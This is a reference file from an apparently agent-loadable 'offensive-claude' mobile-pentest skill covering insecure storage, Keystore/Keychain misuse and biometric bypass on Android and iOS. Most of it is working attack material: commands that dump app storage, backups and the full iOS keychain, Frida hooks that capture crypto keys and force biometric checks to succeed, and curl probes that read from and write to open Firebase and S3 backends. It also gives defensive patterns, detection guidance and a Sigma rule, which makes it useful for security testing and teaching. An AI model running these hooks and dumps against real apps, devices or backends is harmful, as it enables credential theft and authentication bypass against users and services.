hypnguyen1209/offensive-claude / skills/mobile-pentest
mobile-pentest
UnverifiedUse when pentesting an Android/iOS app — Frida 17 instrumentation, SSL-pinning & root/jailbreak bypass, Android 14/15 CA injection, exported-component/content-provider abuse, deep-link/WebView chains, biometric bypass, Flutter/React-Native RE
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 10.7 KB |
| references/android-component-attacks.md | markdown | 10.5 KB |
| references/crossplatform-re-instrumentation.md | markdown | 8.9 KB |
| references/environment-interception.md | markdown | 12.1 KB |
| references/insecure-storage-crypto.md | markdown | 8.7 KB |
| references/ios-offensive.md | markdown | 8.1 KB |
| references/webview-deeplink-exploitation.md | markdown | 9.3 KB |
| scripts/android_ca_inject.sh | script | 2.8 KB |
| scripts/component_fuzz.sh | script | 4.1 KB |
| scripts/hermes_triage.py | script | 5.6 KB |
| scripts/ios_bypass_suite.js | script | 6.0 KB |
| scripts/manifest_attack_surface.py | script | 8.2 KB |
| scripts/universal_unpin.js | script | 6.7 KB |
references/insecure-storage-crypto.md
View on GitHub# Insecure Storage, Keystore/Keychain & Biometric Bypass
> **ATT&CK (Mobile):** T1409 (Stored Application Data), T1634 (Credentials from Password Store / Keychain) · **CWE:** CWE-312, CWE-522, CWE-287
Data-at-rest attack surface (OWASP **MASVS-STORAGE** / **MASVS-CRYPTO** / **MASVS-AUTH**):
finding secrets in app storage, abusing weak Keystore/Keychain usage, and bypassing biometric
gates that authenticate the *user* but not the *crypto operation*.
---
## 1. Android Insecure Storage (CWE-312)
```bash
# SharedPreferences — frequently holds tokens, PII, "encrypted" blobs with hardcoded keys
adb shell run-as com.target.app cat shared_prefs/auth.xml # run-as works on debuggable apps
adb shell su -c 'cat /data/data/com.target.app/shared_prefs/*.xml'
# SQLite DBs
adb shell su -c 'tar -C /data/data/com.target.app/databases -cf - .' | tar -xf - -C ./db_loot
sqlite3 ./db_loot/app.db '.tables'
sqlite3 ./db_loot/app.db 'SELECT * FROM sessions;'
# Internal files + caches
adb shell su -c 'ls -laR /data/data/com.target.app/files /data/data/com.target.app/cache'
# External / scoped storage (historically world-readable; check for secrets)
adb shell ls -la /sdcard/Android/data/com.target.app/
adb shell ls -la /sdcard/Android/media/com.target.app/
# allowBackup=true => extract without root
adb backup -f backup.ab -noapk com.target.app
( printf '\x1f\x8b\x08\x00\x00\x00\x00\x00' ; tail -c +25 backup.ab ) | gzip -dc > backup.tar
tar xf backup.tar
```
MobSF / `scripts/manifest_attack_surface.py` flags `allowBackup`, `debuggable`, and hardcoded-secret
patterns. Grep decompiled source for endpoints/keys:
`grep -rEn 'api[_-]?key|secret|token|password|firebaseio|amazonaws|AKIA[0-9A-Z]{16}' src/`.
---
## 2. Android Keystore Misuse (CWE-522 / CWE-320)
The Android Keystore can be **hardware-backed** (TEE/StrongBox — keys non-exportable) or
software-emulated. Common failures:
- Key generated **without** `setUserAuthenticationRequired(true)` → usable any time the app runs (so a
biometric prompt that *doesn't* gate a Keystore op is theatre — see §4).
- "Encryption" with a **hardcoded** AES key or key derived from a static value (find via `grep`/Frida).
- Secret stored in SharedPrefs and "protected" by a Keystore key that isn't auth-bound.
Hook crypto to capture plaintext/keys at runtime:
```js
Java.perform(() => {
const Cipher = Java.use('javax.crypto.Cipher');
Cipher.doFinal.overload('[B').implementation = function (data) {
const out = this.doFinal(data);
console.log('[Cipher] alg=' + this.getAlgorithm() + ' in=' + bytesToB64(data) + ' out=' + bytesToB64(out));
return out;
};
const SKS = Java.use('javax.crypto.spec.SecretKeySpec');
SKS.$init.overload('[B', 'java.lang.String').implementation = function (k, a) {
console.log('[Key] ' + a + ' = ' + bytesToHex(k)); // hardcoded keys surface here
return this.$init(k, a);
};
});
```
---
## 3. iOS Keychain & Plist Storage
```bash
# NSUserDefaults / plist (often leaks tokens, flags)
ssh -p2222 root@127.0.0.1
plutil -p /var/mobile/Containers/Data/Application/<UUID>/Library/Preferences/com.target.app.plist
# Keychain dump (jailbroken). On a JB device the ENTIRE keychain is dumpable in plaintext
# regardless of access-control flags — only Secure-Enclave-bound keys resist extraction.
keychain_dumper -a
# objection equivalent
objection -g com.target.app explore
ios keychain dump
```
`scripts/ios_bypass_suite.js` includes a Frida hook on `SecItemCopyMatching` / `SecItemAdd` to log every
keychain query, its `kSecAttrAccessible` class, and returned data — useful to spot items stored with weak
accessibility (e.g. `kSecAttrAccessibleAlways`) vs `...WhenPasscodeSetThisDeviceOnly`.
---
## 4. Biometric Bypass (CWE-287)
### 4a. Android — BiometricPrompt
**Secure pattern**: the app passes a `BiometricPrompt.CryptoObject` wrapping a Keystore key created with
`setUserAuthenticationRequired(true)`; the secret is only decryptable *after* the kernel/TEE confirms
auth — you cannot fake the callback into producing valid plaintext.
**Insecure pattern (bypassable)**: app branches on the **boolean result** of
`onAuthenticationSucceeded` with no crypto binding. Force it:
```js
Java.perform(() => {
// Works on the result-only pattern; harmless against CryptoObject-bound flows.
const CB = Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback');
CB.onAuthenticationSucceeded.implementation = function (result) {
console.log('[+] forcing biometric success');
return this.onAuthenticationSucceeded(result);
};
CB.onAuthenticationFailed.implementation = function () { /* swallow */ };
// Some apps gate on canAuthenticate()
const BM = Java.use('androidx.biometric.BiometricManager');
BM.canAuthenticate.overload('int').implementation = () => 0; // BIOMETRIC_SUCCESS
});
```
### 4b. iOS — LAContext.evaluatePolicy
**Root cause**: `evaluatePolicy:localizedReason:reply:` returns a **boolean** that is in no way correlated
with how (or whether) authentication happened. Hooking the reply block makes any check pass:
```js
// in scripts/ios_bypass_suite.js
const LAContext = ObjC.classes.LAContext;
Interceptor.attach(LAContext['- evaluatePolicy:localizedReason:reply:'].implementation, {
onEnter(args) {
const block = new ObjC.Block(args[4]);
const orig = block.implementation;
block.implementation = (success, error) => { console.log('[+] LAContext bypassed'); orig(true, NULL); };
}
});
```
**Hard limit**: this does **not** defeat keychain items protected with `SecAccessControl` flags
(`.biometryCurrentSet` / `kSecAccessControlTouchIDCurrentSet` / `kSecAccessControlUserPresence`), because
retrieval is enforced by the OS/Secure Enclave, not app logic. Report whether the app uses
`evaluatePolicy` (theatre) or `SecAccessControl`-gated `SecItemCopyMatching` (real). objection wraps the
hook as `ios ui biometrics_bypass`.
---
## 5. Cloud / Backend Misconfig From App Strings
```bash
# Firebase Realtime DB open read/write
curl -s 'https://<project>.firebaseio.com/.json'
curl -s -X PUT -d '{"pwn":true}' 'https://<project>.firebaseio.com/test.json'
# Firestore: look for `allow read, write: if true;` rules
# Hardcoded S3
aws s3 ls s3://<bucket> --no-sign-request
```
Extract these strings: `strings -a base.apk | grep -iE 'firebaseio|appspot|amazonaws|AIza[0-9A-Za-z_-]{35}'`.
---
## Detection
- **Insecure storage**: MASTG-TEST-0001 workflow — inspect `/data/data/<pkg>/` after normal use; any
token/PII/key in plaintext fails. Defenses: EncryptedSharedPreferences/Jetpack Security with a Keystore
key, `allowBackup="false"`, `android:debuggable="false"` in release.
- **Keystore/keychain misuse**: SecItem hooks reveal weak `kSecAttrAccessible`; on Android, keys created
without `setUserAuthenticationRequired` / not StrongBox. Flag SE/StrongBox-backed (extraction-resistant)
vs software keys in the finding.
- **Biometric bypass**: only the *result-only* pattern is hookable — its presence is itself the finding.
App-side detection of Frida (maps scan, port probe) may block the hook; CryptoObject/`SecAccessControl`
binding is the actual fix.
- Sigma (proxy egress) for harvested-secret exfil / open Firebase:
```yaml
title: Mobile Secret Exfil or Open Firebase Access
logsource: { category: proxy }
detection:
sel1: { url|re: 'firebaseio\.com/.*\.json' }
sel2: { url|contains: ['?token=', '?code=', '&apikey='] }
condition: sel1 or sel2
level: medium
```
## OPSEC
- Storage reads via `run-as`/`adb backup` are quiet; root `cat`/`tar` touches atimes — snapshot before
any write. Pull DBs, don't edit in place.
- On a jailbroken iOS device the keychain dumps in plaintext irrespective of ACLs — note in the report
that this models a *device-compromise* threat, not a remote one, so the app's ACL choice still matters
for non-JB threat models.
- Biometric/crypto Frida hooks are detectable; if the app has anti-Frida, prefer gadget mode and hook
before the gating screen renders.
## References
- OWASP MASTG — Testing Local Data Storage (Android, MASTG-TEST-0001) & MASVS-STORAGE — https://mas.owasp.org/MASTG/ and https://mas.owasp.org/MASVS/
- OWASP MASTG — Bypassing Biometric Authentication (MASTG-TECH-0135) — https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0135/
- OWASP MASTG — Testing Local Authentication on iOS (LAContext / SecAccessControl) — https://mas.owasp.org/MASTG/0x06f-Testing-Local-Authentication/
- objection — Understanding the iOS Biometrics Bypass — https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass
- Ostorlab — Biometric Authentication Bypass knowledge base — https://docs.ostorlab.co/kb/BIOMETRIC_AUTHENTICATION_BYPASS/index.html
- Android Developers — Android Keystore system — https://developer.android.com/training/articles/keystore
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |